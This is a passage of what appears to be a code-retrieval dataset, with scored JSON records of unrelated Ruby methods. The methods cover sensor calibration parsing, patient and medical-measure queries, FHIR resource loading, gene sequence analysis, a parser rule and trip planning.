0x89 dig_T1 [7:0] / [15:8] unsigned short\n :dig_T2, # 0x8A / 0x8B dig_T2 [7:0] / [15:8] signed short\n :dig_T3, # 0x8C / 0x8D dig_T3 [7:0] / [15:8] signed short\n :dig_P1, # 0x8E / 0x8F dig_P1 [7:0] / [15:8] unsigned short\n :dig_P2, # 0x90 / 0x91 dig_P2 [7:0] / [15:8] signed short\n :dig_P3, # 0x92 / 0x93 dig_P3 [7:0] / [15:8] signed short\n :dig_P4, # 0x94 / 0x95 dig_P4 [7:0] / [15:8] signed short\n :dig_P5, # 0x96 / 0x97 dig_P5 [7:0] / [15:8] signed short\n :dig_P6, # 0x98 / 0x99 dig_P6 [7:0] / [15:8] signed short\n :dig_P7, # 0x9A / 0x9B dig_P7 [7:0] / [15:8] signed short\n :dig_P8, # 0x9C / 0x9D dig_P8 [7:0] / [15:8] signed short\n :dig_P9, # 0x9E / 0x9F dig_P9 [7:0] / [15:8] signed short\n :dig_H1, # 0xA1 dig_H1 [7:0] unsigned char\n :dig_H2, # 0xE1 / 0xE2 dig_H2 [7:0] / [15:8] signed short\n :dig_H3, # 0xE3 dig_H3 [7:0] unsigned char\n :dig_H4, # 0xE4 / 0xE5[3:0] dig_H4 [11:4] / [3:0] signed short\n :dig_H5, # 0xE5[7:4] / 0xE6 dig_H5 [3:0] / [11:4] signed short\n :dig_H6, # 0xE7 dig_H6 signed char\n :t_fine\n )\n calib = [] \n\n # data addresses\n dig_t_reg = 0x88\n dig_p_reg = 0x8E\n dig_h_reg1 = 0xA1\n dig_h_reg2 = 0xE1\n \n data = read(dig_t_reg, 6)\n calib << ((data[1] << 8) | data[0]) # uint16_t dig_T1 [1][0] \n calib << int16(data[3], data[2]) # int16_t dig_T2 [3][2]\n calib << int16(data[5], data[4]) # int16_t dig_T3 [5][4]\n\n data = read(dig_p_reg, 18)\n calib << ((data[1] << 8) | data[0]) # uint16_t dig_P1 [1][0]\n calib << int16(data[3], data[2]) # int16_t dig_P2 [3][2]\n calib << int16(data[5], data[4]) # int16_t dig_P3 [5][4]\n calib << int16(data[7], data[6]) # int16_t dig_P4 [7][6]\n calib << int16(data[9], data[8]) # int16_t dig_P5 [9][8]\n calib << int16(data[11], data[10]) # int16_t dig_P6 [11][10]\n calib << int16(data[13], data[12]) # int16_t dig_P7 [13][12]\n calib << int16(data[15], data[14]) # int16_t dig_P8 [15][14]\n calib << int16(data[17], data[16]) # int16_t dig_P9 [17][16]\n\n data = read(dig_h_reg1, 1)\n calib << data[0] # uint8_t dig_H1 [0]\n \n data = read(dig_h_reg2, 7)\n calib << int16(data[1], data[0]) # int16_t dig_H2 [1],[0]\n calib << data[2] # uint8_t dig_H3 [2] \n\n # 109876543210 bit[11:0]\n # xxxxxxxx.... dig_H4_msb [11:4] [3]\n # ....xxxx dig_H4_lsb [3:0] [4]\n # xxxxxxxxxxxx dig_H4 [11:0] \n dig_H4_msb = (data[3] >> 4) & 0x0F\n dig_H4_lsb = ((data[3] << 4) & 0xF0) | (data[4] & 0x0F) \n calib << int16(dig_H4_msb, dig_H4_lsb) # int16_t dig_H4 [3][4]\n \n # 109876543210 bit[11:0]\n # xxxxxxxx.... dig_H5_msb [11:4] [5]\n # xxxx.... dig_H5_lsb [7:4] [4]\n # xxxxxxxxxxxx dig_H5 [11:0]\n dig_H5_msb = (data[5] >> 4) & 0x0F\n dig_H5_lsb = ((data[5] << 4) & 0xF0) | (data[4] >> 4) \n calib << int16(dig_H5_msb, dig_H5_lsb) # int16_t dig_H5 [4][5]\n \n calib << int8(data[6]) # int8_t dig_H6 [6]\n\n @calib = Calibration.new(*calib)\n end", "title": "" }, { "docid": "7480f9768d2551217497f4d1f8d7ee05", "score": "0.43591252", "text": "def hospitalScenario_case0\n subtasks = []\n @state[PATIENT].each {|terms|\n if terms.size == 1\n patient = terms[0]\n subtasks.push(\n ['seekHelp', patient],\n ['processPatient', patient]\n )\n end\n }\n yield subtasks\nend", "title": "" }, { "docid": "5d010e1ce614afb6bf790459a956e5a7", "score": "0.43545663", "text": "def transactions\n segments = []\n batch_based_index = 0\n\n check_klass = Output835.class_for(\"Check\", facility)\n Output835.log.info \"Applying class #{check_klass}\"\n check_op = check_klass.new(nil, facility, 0, @element_seperator, @check_eob_hash)\n check_op.instance_variable_set(\"@plb_excel_sheet\", @plb_excel_sheet)\n checks.each_with_index do |check, index|\n batch_based_index += 1\n batch_based_index = 1 if new_batch?(check)\n Output835.log.info \"Generating Check related segments for check: #{check.check_number}\"\n check_klass.class_eval(\"@@batch_based_index = #{batch_based_index}\")\n segments << check_op.generate_new(check, index)\n end\n segments\n end", "title": "" }, { "docid": "247cfbbeac564a5d963f11c8cfc90100", "score": "0.43500802", "text": "def measure_patients\n\n @type = params[:type] || 'denominator'\n @limit = (params[:limit] || 20).to_i\n @skip = ((params[:page] || 1).to_i - 1 ) * @limit\n sort = params[:sort] || \"_id\"\n sort_order = params[:sort_order] || :asc\n measure_id = params[:id] \n sub_id = params[:sub_id]\n \n query = {'value.measure_id' => measure_id, 'value.sub_id' => sub_id, 'value.effective_date' => @effective_date}\n \n if (@type == 'exclusions')\n query.merge!({'$or'=>[{\"value.#{@type}\" => true}, {'value.manual_exclusion'=>true}]})\n else\n query.merge!({\"value.#{@type}\" => true, 'value.manual_exclusion'=>{'$ne'=>true}})\n end\n \n if (@selected_provider)\n result = PatientCache.by_provider(@selected_provider, @effective_date).where(query);\n else\n authorize! :manage, :providers\n # result = PatientCache.all.where(query)\n result = PatientCache.provider_in(Provider.generateUserProviderIDList(current_user)).where(query)\n end\n @total = result.count\n @records = result.order_by([\"value.#{sort}\", sort_order]).skip(@skip).limit(@limit);\n \n @manual_exclusions = {}\n ManualExclusion.selected(@records.map {|record| record['value']['medical_record_id']}).map {|exclusion| @manual_exclusions[exclusion.medical_record_id] = exclusion} if (@type == 'exclusions')\n \n @page_results = WillPaginate::Collection.create((params[:page] || 1), @limit, @total) do |pager|\n pager.replace(@records)\n end\n # log the medical_record_number of each of the patients that this user has viewed\n @page_results.each do |patient_container|\n Log.create(:username => current_user.username,\n :event => 'patient record viewed',\n :medical_record_number => (patient_container['value'])['medical_record_id'])\n end\n end", "title": "" }, { "docid": "9afe5ce4e362034988e58cfda2116421", "score": "0.43441", "text": "def street_segments\r\n\t\tstart_street_segments + end_street_segments\r\n\tend", "title": "" }, { "docid": "e1072b50b473b90c3c6535a1c8f9dd86", "score": "0.4338529", "text": "def patients_in_ipp_and_greater\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['IPP'])\n end.pluck(:_id)\n end", "title": "" }, { "docid": "864ffa1365f22968e41ec14d3be33ae4", "score": "0.43335494", "text": "def segments=(_arg0); end", "title": "" }, { "docid": "baae1f819b4f484afb1e3d3f1d2c535e", "score": "0.4331744", "text": "def aetiology_processor(line)\n\t\tline.strip.scan(/^(Aetiology and immunopathogenesis|Aetiology)$/) do |match|\n\t\t\treturn [\"on\",line.strip]\n\t\tend\n\t\treturn [\"off\",line.strip]\n\tend", "title": "" }, { "docid": "1d8acc50a4bb35055427bd2eaedcd0a8", "score": "0.43310478", "text": "def load_patient_resources (type, profile, patientfield, pid, datefield=nil)\n parameters = {}\n parameters[patientfield] = \"Patient/\" + pid\n parameters[:_profile] = profile if profile\n parameters[:_count] = 1000 \n \n if datefield \n parameters[datefield] = []\n parameters[datefield] << \"ge\"+ DateTime.parse(start_date).strftime(\"%Y-%m-%d\") if start_date.present?\n parameters[datefield] << \"le\"+ DateTime.parse(end_date).strftime(\"%Y-%m-%d\") if end_date.present?\n end\n search = {parameters: parameters }\n results = @client.search(type, search: search )\n results.resource.entry.map(&:resource)\n end", "title": "" }, { "docid": "8167a7aa253a54b1e2f76e30906b88da", "score": "0.43161827", "text": "def find_polys(ta,seq,actions)\n\n minn = 4\n m2 = 1#(minn/2) \n m4 = (minn/4)\n r = [-1,0,0]\n re2 = /((#{ta}{#{m2},})(.{0,3})(#{ta}{#{1},}))/i\n \n \n type='ActionIndetermination'\n poly_base = 'N'\n \n matches = re2.global_match(seq.seq_fasta,3)\n\n\t\tmatches2 = /[^N]N$/.match(seq.seq_fasta)\n\t\t\n\t\t\n # HASH\n polys = []\n\n # crear una region poly nuevo\n poly = {}\n #i=0\n\n matches.each do |pattern2|\n\n #puts pattern2.match[0]\n m_start = pattern2.match.begin(0)+pattern2.offset\n m_end = pattern2.match.end(0)+pattern2.offset-1 \n \n\t\t\t #puts \"MATCH: #{m_start} #{m_end}\"\n\n # does one exist in polys with overlap?\n\n # yes => group it, updated end\n\n # no => one new\n\n if (e=overlap(polys,m_start,m_end))\n \n e['end'] = m_end\n e['found'] = seq.seq_fasta.slice(e['begin'],e['end']-e['begin']+1)\n \n else\n poly={}\n poly['begin'] = m_start\n poly['end'] = m_end # the next pos to pattern's end\n poly['found'] = seq.seq_fasta.slice(poly['begin'],poly['end']-poly['begin']+1)\n polys.push poly\n end\n \n end \n \n \n poly_size=0 \n\n polys.each do |poly|\n #puts \"NEW POLY: #{poly.to_json}\"\n \t\t\n \t\tif poly_near_end(poly['end'],seq.seq_fasta) # near right side\n \t\t #puts \"near end\"\n a = seq.new_action(poly['begin'],poly['end'],type)\n a.right_action=true\n actions.push a\n \n poly_size=poly['end']-poly['begin']+1\n add_stats('size',poly_size)\n else\n \t\t#puts \"far of end\"\n\t if check_poly_length(poly['begin'],poly['end']) and (check_poly_percent(poly,poly_base))\n\t \t\t#puts \"ok\"\n\t\t\t a = seq.new_action(poly['begin'],poly['end'],type)\n\t\t a.right_action=true\n\t\t actions.push a\n\t\t \n if @params.get_param('middle_indetermination_rejects').to_s=='true'\n\t\t seq.seq_rejected=true \n seq.seq_rejected_by_message='Indeterminations in middle of sequence'\n end\n\t\t \n\t\t poly_size=poly['end']-poly['begin']+1\n\t\t add_stats('size',poly_size)\n\t end\n \n \n end\n end \n \n \n end", "title": "" }, { "docid": "1acba81a5e76af988ee6ca3b697e92a6", "score": "0.43112183", "text": "def report_load_labels\r\n\r\n case @x_type\r\n when :string\r\n return @x_labels = User.all(:select => \"DISTINCT(`#{@x_field}`)\").map{|r| r.send(@x_field)}\r\n when :static_list\r\n return @x_labels = User.const_get(@x_field.pluralize.upcase)\r\n when :bt_assoc\r\n return @x_labels = User.reflect_on_association(@x_field.to_sym).klass.all\r\n end\r\n @x_range = if params[:x_range] # range is given\r\n case @x_type\r\n when :integer\r\n params[:x_range].split('..').map(&:to_i)\r\n when :float, :double\r\n params[:x_range].split('..').map(&:to_f)\r\n when :date, :datetime\r\n rg = params[:x_range].split('..').map(&:to_i)\r\n @x_min = Time.now + rg.first.days\r\n @x_max = Time.now + rg.last.days\r\n rg\r\n end\r\n else\r\n @x_min = User.minimum(@x_field)\r\n @x_max = User.maximum(@x_field)\r\n case @x_type\r\n when :integer, :float, :double\r\n when :date, :datetime\r\n [((@x_min - Time.now) / 86400).round, ((@x_max - Time.now) / 86400).round]\r\n end\r\n end\r\n if true\r\n case @x_type\r\n when :integer, :float, :double\r\n @x_min, @x_max = @x_range\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10.0\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n @x_labels = [@x_min]\r\n while(@x_labels.last <= @x_max) do\r\n @x_labels << @x_labels.last + @x_steps\r\n end\r\n when :date, :datetime\r\n @x_steps = case params[:x_steps]\r\n when \"month\"\r\n 30\r\n when \"week\"\r\n 7\r\n else\r\n if !params[:x_steps] || params[:x_steps].to_i == 0\r\n (@x_range.last - @x_range.first).round / 10.0\r\n else\r\n params[:x_steps].to_i\r\n end\r\n end\r\n @x_steps = 1 if @x_steps == 0\r\n @x_min ||= Time.now + @x_range.first.days\r\n @x_max ||= Time.now + @x_range.last.days\r\n @x_labels = [@x_min]\r\n logger.debug(\"\\t (#{@x_min})..(#{@x_max}) - #{@x_steps} days step\")\r\n 200.times {\r\n break if @x_labels.last > @x_max\r\n @x_labels << @x_labels.last + @x_steps.days\r\n }\r\n end\r\n else # no params[:x_range] => need to guess range\r\n case @x_type\r\n when :integer, :float, :double\r\n @datasets.each_with_index { |h,i|\r\n d = h[:values]\r\n if !@x_min\r\n @x_min = d.min\r\n else\r\n d_min = d.min\r\n @x_min = d_min if d_min < @x_min\r\n end\r\n if !@x_max\r\n @x_max = d.max\r\n else\r\n d_max = d.max\r\n @x_max = d_max if d_max > @x_max\r\n end\r\n }\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n end\r\n case @x_type\r\n when :integer, :float, :double\r\n if params[:x_ticks]\r\n end\r\n when :static_list\r\n when :date, :datetime\r\n end\r\n end\r\n end", "title": "" }, { "docid": "c88e01c73efacd71e1b5978dfcfca7bd", "score": "0.4290299", "text": "def get_product_service_kpi_from_to(product_service_map,time,time_list)\n @pro_normalPv_list = Array.new\n @pro_delayPv_list = Array.new\n size = time.size\n 0.upto(size-1) do |i|\n new_p,new_s = new_and_old_service(time[i]) \n product_service_map = concat_pro_ser(product_service_map,new_p,new_s)\n pro_kpi,pro_pv,pro_normalPv,pro_delayPv = get_kpi_by_collection_name(@db,\"count_kpi\",product_service_map,time_list[i],time_list[i+1])\n @pro_normalPv_list.push(pro_normalPv)\n @pro_delayPv_list.push(pro_delayPv)\n end\n pro_size = @pro_normalPv_list.size\n @pro_pv = 0\n @pro_delayPv = 0\n 0.upto(pro_size-1) {|i|@pro_pv += @pro_normalPv_list[i]+@pro_delayPv_list[i]; @pro_delayPv+=@pro_delayPv_list[i]} \n @pro_kpi = (@pro_pv-@pro_delayPv)/(@pro_pv*1.0)*100\n last = time_list.size-1\n @ser_kpi,@ser_pv,@ser_normalPv,@ser_delayPv = get_kpi_by_collection_name(@db,\"search_kpi\",nil,time_list[0],time_list[last])\n @pro_avi,@pro_yes_num,@pro_no_num = get_availability_by_collection_name(@db,\"count_usable\",time_list[0],time_list[last])\n @ser_avi,@ser_yes_num,@ser_no_num = get_availability_by_collection_name(@db,\"search_usable\",time_list[0],time_list[last])\n puts \"Starttime: #{time_list[0]}\\t Endtime: #{time_list[last]}\\t timegap: #{time_list.size-1} \"\n print nil\n end", "title": "" }, { "docid": "59e007c530a32af846352c4cb41dd866", "score": "0.4288726", "text": "def part2\n lines = data_lines(1)\n target = read_target(lines)\n\n vels = []\n (0..(target[:x].max + 1)).each do |x_velocity|\n y_bounds = target[:y].min - 1\n y_bounds = y_bounds.abs if y_bounds < 0\n (-y_bounds..y_bounds).each do |y_velocity|\n vels << [x_velocity, y_velocity] if intersects?(target, x_velocity, y_velocity)\n end\n end\n puts vels.length\n end", "title": "" }, { "docid": "e2ebe2d96e2d9120180da7ece3bd0a6f", "score": "0.42855713", "text": "def patient_tb_prescriptions(patient, date)\n encounter_type_id = encounter_type('TREATMENT').encounter_type_id\n tb_drug_concepts = Drug.tb_drugs.map(&:concept_id)\n\n Order.joins(\n 'INNER JOIN drug_order ON drug_order.order_id = orders.order_id\n INNER JOIN encounter ON encounter.encounter_id = orders.encounter_id\n INNER JOIN drug ON drug.drug_id = drug_order.drug_inventory_id'\n ).where(\n 'encounter.encounter_type = ? AND encounter.patient_id = ?\n AND (encounter.encounter_datetime BETWEEN ? AND ?)\n AND drug.concept_id IN (?)',\n encounter_type_id, patient.patient_id,\n date.to_date.strftime('%Y-%m-%d 00:00:00'), date.to_date.strftime('%Y-%m-%d 23:59:59'),\n tb_drug_concepts\n ).order('encounter.encounter_datetime')\n end", "title": "" }, { "docid": "23dd1eae4b01ee5a4757cefa8df35ca1", "score": "0.4270113", "text": "def show\n @nationarity_name = @patient.country_code.country\n @operator_name = @patient.user.name\n if @patient.locus_as.exists? then\n @locus_as = @patient.locus_as.pluck(:serotype, :allele, :date_exam)\n else\n @locus_as = Array.new(2).map{Array.new(3)}\n end\n if @patient.locus_bs.exists? then\n @locus_bs = @patient.locus_bs.pluck(:serotype, :allele, :date_exam)\n else\n @locus_bs = Array.new(2).map{Array.new(3)}\n end\n if @patient.locus_cs.exists? then\n @locus_cs = @patient.locus_cs.pluck(:serotype, :allele, :date_exam)\n else\n @locus_cs = Array.new(2).map{Array.new(3)}\n end\n end", "title": "" }, { "docid": "375b6de0f543b1bcc149246a8581723e", "score": "0.42632392", "text": "def areas_of_specialization\n self.dig_for_array(\"areasOfSpecialization\")\n end", "title": "" }, { "docid": "cbc7f7bb03b3dc3f51ff3e8fd5624c8a", "score": "0.42595425", "text": "def booking_texi(vehicle_type_id, pickup_date, pickup_time, dropoff_date, dropoff_time, pickup_addr)\n @texi_info = TexiInfo.near(pickup_addr,4).where(vehicle_type_id: vehicle_type_id).map(&:id).uniq rescue 0\n @bookings = Booking.where(:user_id => current_user.id).where('pickup_time <= ? AND dropoff_time >= ?', pickup_time, dropoff_time).where(:pickup_datetime => pickup_date.to_date).where(:return_pickup_datetime => dropoff_date.to_date).order('pickup_datetime ASC') rescue 0\n @ids = @bookings.map(&:taxi_info_id).uniq unless @bookings.blank? rescue 0\n if !@ids.blank?\n @texi_info = @texi_info-@ids\n end\n if @texi_info.blank?\n return []\n else\n return @texi_info.sample\n end\n end", "title": "" }, { "docid": "781e47507833635996d23d606debb562", "score": "0.4257269", "text": "def patients_in_denominator_and_greater\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['DENOM'])\n end.pluck(:_id)\n end", "title": "" }, { "docid": "477aead0f828460fdeac54efdd6e4e0a", "score": "0.4249679", "text": "def recognition_extraction\n next_capture = 1\n extraction = segments.collect do |segment|\n if segment.to_s[0] == ?:\n x = segment.match_extraction(next_capture, @conditions[segment.to_s[1..-1].to_sym])\n else\n x = segment.match_extraction(next_capture)\n end\n next_capture += segment.number_of_captures\n x\n end\n extraction.compact\n end", "title": "" }, { "docid": "b95be28eba8f33f17a8087dc70cb4fb4", "score": "0.4247377", "text": "def get_records_of_type requested_record_type\n ui2 = @records_unpacked\n records = []\n\n ui2_size = ui2.size\n offset = 0\n ptr = ui2\n record_byte_offset = 0\n record_type_array = Array(requested_record_type)\n\n while(offset < ui2_size) do\n curr_record_type = ptr[offset]\n record_size = ptr[offset+1]\n\n offset += (record_size/2)\n\n #yield records, curr_record_type, offset, ptr\n #do |records, record_type, offset, ptr|\n if record_type_array.include? curr_record_type\n #records.push(ptr[record_byte_offset...record_byte_offset+record_size].pack('S>*'))\n records.push(@records_packed[record_byte_offset...record_byte_offset+record_size])\n end\n #end\n\n record_byte_offset += record_size\n #ptr = ptr[(record_size/2)..-1]\n end\n\n records\n end", "title": "" }, { "docid": "b4bfc6ad4cbacf31ce95c98061109001", "score": "0.42406344", "text": "def stopstop minsize=30\n type = \"XX\"\n orfs = []\n translate = Nucleotide::Translate.new(@trn_table)\n aa_frames = translate.aa_frames(@seq)\n num = 0\n aa_frames.each do | aa_frame |\n frame = aa_frame[:frame]\n aa = aa_frame[:sequence]\n aa_start = 0\n aa.split(/\\*/).each do | candidate |\n if candidate.size >= minsize and candidate.size > 0\n orf = ORF.new(num,type,@id,@descr,@seq,frame,aa_start*3,candidate)\n orfs.push orf\n num += 1\n end\n aa_start += candidate.size + 1\n end\n end\n orfs.sort\n end", "title": "" }, { "docid": "d21c5128f519c9438470282b55be0631", "score": "0.4237687", "text": "def stations_in_between2 (end_lane)\n if ($end_connection>$end)\n puts \"then the stations to follow are:\"\n puts $mta[end_lane][$end+1...$end_connection]\n else\n puts \"then the stations to follow are:\"\n puts $mta[end_lane][$end_connection+1...$end].reverse\n end #end of the if\n end", "title": "" }, { "docid": "487d2e730f76384de09decace8648eda", "score": "0.42361775", "text": "def prt\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 5 )\n\n begin\n # at line 43:9: ( ( OUT LPAR ( comp )? RPAR ) | ( OUTS LPAR ( comp )? RPAR ) )\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == OUT )\n alt_7 = 1\n elsif ( look_7_0 == OUTS )\n alt_7 = 2\n else\n raise NoViableAlternative( \"\", 7, 0 )\n end\n case alt_7\n when 1\n # at line 43:11: ( OUT LPAR ( comp )? RPAR )\n # at line 43:11: ( OUT LPAR ( comp )? RPAR )\n # at line 43:12: OUT LPAR ( comp )? RPAR\n match( OUT, TOKENS_FOLLOWING_OUT_IN_prt_261 )\n match( LPAR, TOKENS_FOLLOWING_LPAR_IN_prt_263 )\n # at line 43:21: ( comp )?\n alt_5 = 2\n look_5_0 = @input.peek( 1 )\n\n if ( look_5_0 == MINUS || look_5_0 == LPAR || look_5_0.between?( ID, STRING ) )\n alt_5 = 1\n end\n case alt_5\n when 1\n # at line 43:21: comp\n @state.following.push( TOKENS_FOLLOWING_comp_IN_prt_265 )\n comp\n @state.following.pop\n\n end\n match( RPAR, TOKENS_FOLLOWING_RPAR_IN_prt_268 )\n # --> action\n agc_3('out')\n # <-- action\n\n\n when 2\n # at line 43:48: ( OUTS LPAR ( comp )? RPAR )\n # at line 43:48: ( OUTS LPAR ( comp )? RPAR )\n # at line 43:49: OUTS LPAR ( comp )? RPAR\n match( OUTS, TOKENS_FOLLOWING_OUTS_IN_prt_274 )\n match( LPAR, TOKENS_FOLLOWING_LPAR_IN_prt_276 )\n # at line 43:59: ( comp )?\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0 == MINUS || look_6_0 == LPAR || look_6_0.between?( ID, STRING ) )\n alt_6 = 1\n end\n case alt_6\n when 1\n # at line 43:59: comp\n @state.following.push( TOKENS_FOLLOWING_comp_IN_prt_278 )\n comp\n @state.following.pop\n\n end\n match( RPAR, TOKENS_FOLLOWING_RPAR_IN_prt_281 )\n # --> action\n agc_3('outln')\n # <-- action\n\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 5 )\n\n end\n \n return \n end", "title": "" }, { "docid": "14275907c10e0256a33f932742d7107c", "score": "0.42309067", "text": "def segment\n sents, sent = [], []\n thresh = 0.5\n\n frag = nil\n @frags.each do |frag|\n sent.push(frag.orig)\n if frag.pred > thresh\n break if frag.orig.nil?\n sents.push(sent.join('').strip)\n sent = []\n end\n end\n sents\n end", "title": "" }, { "docid": "80f331f54297407c8fe76cc7c3dd4ddb", "score": "0.4211899", "text": "def solution(s, p, q)\n result = []\n positions = { \"A\" => 0, \"C\" => 1, \"G\" => 2, \"T\" => 3 }\n\n prefix_occurences = build_prefix_occurences(s, positions)\n\n (0..p.length-1).each do |index|\n from = p[index]\n to = q[index]\n\n subset_occurences = calculate_subset_occurences(prefix_occurences[from], prefix_occurences[to + 1])\n\n result << 1 && next if subset_occurences[0] != 0\n result << 2 && next if subset_occurences[1] != 0\n result << 3 && next if subset_occurences[2] != 0\n result << 4 && next if subset_occurences[3] != 0\n end\n\n result\nend", "title": "" }, { "docid": "133104666485a458a69569c6cf49c524", "score": "0.42118204", "text": "def performPathologyTests_biopsy_unnecessary(patient)\n yield [] if @state[COMMITMENT].any? {|terms| terms.size == 4 and terms[0] == C1 and terms[3] == patient and state(PATIENT, patient) and state(PHYSICIAN, terms[2])}\nend", "title": "" }, { "docid": "f28fa1f98c0c979a4033e36e1eff554f", "score": "0.42116028", "text": "def method_1(query)\n\t\tq = String.new(query)\n\t\t@segments = []\n\t\twhile q.size > 3 do\n\t\t\tq = q[1..-2]\n\t\t\t@segments << \"%\" + q + \"%\"\n\t\tend\n\t\t@segments\n\tend", "title": "" }, { "docid": "11aa84b4b53a3a4225af7ce159a7f272", "score": "0.4206393", "text": "def index\n scan_procedure_array = (current_user.view_low_scan_procedure_array).split(' ').map(&:to_i)\n# @search = Participant.where(\" participants.id in ( select participant_id from enrollments where enrollments.id in (select enrollment_visit_memberships.enrollment_id from enrollment_visit_memberships where enrollment_visit_memberships.visit_id in\n# (select visit_id from scan_procedures_visits where scan_procedure_id in (?)))) \", scan_procedure_array).search(params[:search])\n \n# @search = Participant.where(\" participants.id in ( select participant_id from enrollments where enrollments.id in (select enrollment_visit_memberships.enrollment_id\n# from enrollment_visit_memberships, scan_procedures_visits\n# where enrollment_visit_memberships.visit_id = scan_procedures_visits.visit_id and scan_procedures_visits.scan_procedure_id in (?))) \", scan_procedure_array).search(params[:search])\n \n @search = Participant.where(\" participants.id in ( select participant_id from enrollments,enrollment_vgroup_memberships, scan_procedures_vgroups\n where enrollments.id = enrollment_vgroup_memberships.enrollment_id\n and enrollment_vgroup_memberships.vgroup_id = scan_procedures_vgroups.vgroup_id and scan_procedures_vgroups.scan_procedure_id in (?)) \", scan_procedure_array).search(params[:search])\n \n @participants = @search.relation.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "11aa84b4b53a3a4225af7ce159a7f272", "score": "0.4206393", "text": "def index\n scan_procedure_array = (current_user.view_low_scan_procedure_array).split(' ').map(&:to_i)\n# @search = Participant.where(\" participants.id in ( select participant_id from enrollments where enrollments.id in (select enrollment_visit_memberships.enrollment_id from enrollment_visit_memberships where enrollment_visit_memberships.visit_id in\n# (select visit_id from scan_procedures_visits where scan_procedure_id in (?)))) \", scan_procedure_array).search(params[:search])\n \n# @search = Participant.where(\" participants.id in ( select participant_id from enrollments where enrollments.id in (select enrollment_visit_memberships.enrollment_id\n# from enrollment_visit_memberships, scan_procedures_visits\n# where enrollment_visit_memberships.visit_id = scan_procedures_visits.visit_id and scan_procedures_visits.scan_procedure_id in (?))) \", scan_procedure_array).search(params[:search])\n \n @search = Participant.where(\" participants.id in ( select participant_id from enrollments,enrollment_vgroup_memberships, scan_procedures_vgroups\n where enrollments.id = enrollment_vgroup_memberships.enrollment_id\n and enrollment_vgroup_memberships.vgroup_id = scan_procedures_vgroups.vgroup_id and scan_procedures_vgroups.scan_procedure_id in (?)) \", scan_procedure_array).search(params[:search])\n \n @participants = @search.relation.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "691ddc18436a906db789e3a6f33661fd", "score": "0.4203214", "text": "def segment_0; segments[0]; end", "title": "" }, { "docid": "6b6f86107a0837b190dca2eb6adbf5a0", "score": "0.41971606", "text": "def patients\n appointments.collect { |appt| appt.patient }\n end", "title": "" }, { "docid": "62b5f4ff1d1498f0b8c80e26c457d349", "score": "0.4191213", "text": "def get_intervals\n @notes.combination(2).map do |low_voice, high_voice|\n {\n low: low_voice,\n high: high_voice,\n value: high_voice.pitch - low_voice.pitch\n }\n end\n end", "title": "" }, { "docid": "480f70a1649c54bbd9546b70c2198785", "score": "0.41879535", "text": "def segment(text, filters, n)\n uncollected_segments = lex(text).flat_map(&:split)\n segments = uncollected_segments.group_by { |s| [s.start, s.end] }.values.map do |segs|\n Segment.new segs, filters, @starters, @do_unary_branch_check, n\n end\n segments.group_by(&:end).each do |final_offset, segs|\n continuations = segments.select { |s| s.start == final_offset }\n segs.each { |s| s.continuations = continuations }\n end\n segments\n end", "title": "" }, { "docid": "c3b3449eaec6ff21ffaacb2295e4769b", "score": "0.41793033", "text": "def patients \n # patients = []\n # Appointment.all.each do | appointment |\n # if appointment.doctor == self \n # patients << appointment.patient\n # end\n # end\n # patients\n all_app = Appointment.all.select do | appointment |\n appointment.doctor == self\n end\n all_patients = all_app.collect do | appointment |\n appointment.patient.name\n end\n # all_patients.map do | patient |\n # patient.name\n # end\n end", "title": "" }, { "docid": "964fe25e9371e7aae0771062bd07dcfb", "score": "0.4175302", "text": "def load_patient_resources (type, profile, patientfield, pid, datefield=nil)\n parameters = {}\n# parameters[patientfield] = \"Patient/\" + pid\n parameters[patientfield] = pid\n parameters[:_profile] = profile if profile\n# parameters[:_count] = 1000 \n # binding.pry \n if datefield \n parameters[datefield] = []\n parameters[datefield] << \"ge\"+ DateTime.parse(start_date).strftime(\"%Y-%m-%d\") if start_date.present?\n parameters[datefield] << \"le\"+ DateTime.parse(end_date).strftime(\"%Y-%m-%d\") if end_date.present?\n end\n search = { parameters: parameters }\n results = @client.search(type, search: search)\n results.resource.entry.map(&:resource)\n end", "title": "" }, { "docid": "b347b87389070782a5ab6d0110d6ab9c", "score": "0.41703776", "text": "def segment\n sents, sent = [], []\n thresh = 0.5\n\n frag = nil\n @frags.each do |frag|\n sent.push(frag.orig)\n if frag.pred > thresh or frag.ends_seg\n break if frag.orig.nil?\n sents.push(sent.join(' '))\n sent = []\n end\n end\n sents\n end", "title": "" }, { "docid": "1ef9dd9c3112e0cca44ded3b7bb1d43b", "score": "0.416587", "text": "def plan_trip (first_l, first_s, last_l, last_s)\n# Get the program to work for a single line:\n# Different way to do global use $\n stations = [ ]\n start = $train_lines[first_l.to_s].index(first_s.to_s)\n finish = $train_lines[last_l.to_s].index(last_s.to_s)\n\n# 2.7.2 :012 > $train_lines.values\n# => [[\"Times Square\", \"34th\", \"28th\", \"23rd\", \"Union Square\", \"8th\"], [\"8th\", \"6th\", \"Union Square\", \"3rd\", \"1st\"], [\"Grand Central\", \"33rd\", \"28th\", \"23rd\", \"Union Square\", \"Astor Place\"]]\n# 2.7.2 :013 > $train_lines.keys\n# => [\"lineN\", \"lineL\", \"line6\"]\n\n if start < finish\n stations = $lineN[start..finish]\n elsif\n stations = $lineN[finish..start].reverse\n end\n\n return stations\n\nend", "title": "" }, { "docid": "a4610f5dc2aef6f0b9862cd4cac9d493", "score": "0.41644627", "text": "def segmentpairs\n unless defined?(@segmentparis); parse_segmentpairs; end\n @segmentpairs\n end", "title": "" }, { "docid": "c28a15279400dbe42570226a0baa34b3", "score": "0.41627973", "text": "def reading_incidence_type_ids\n 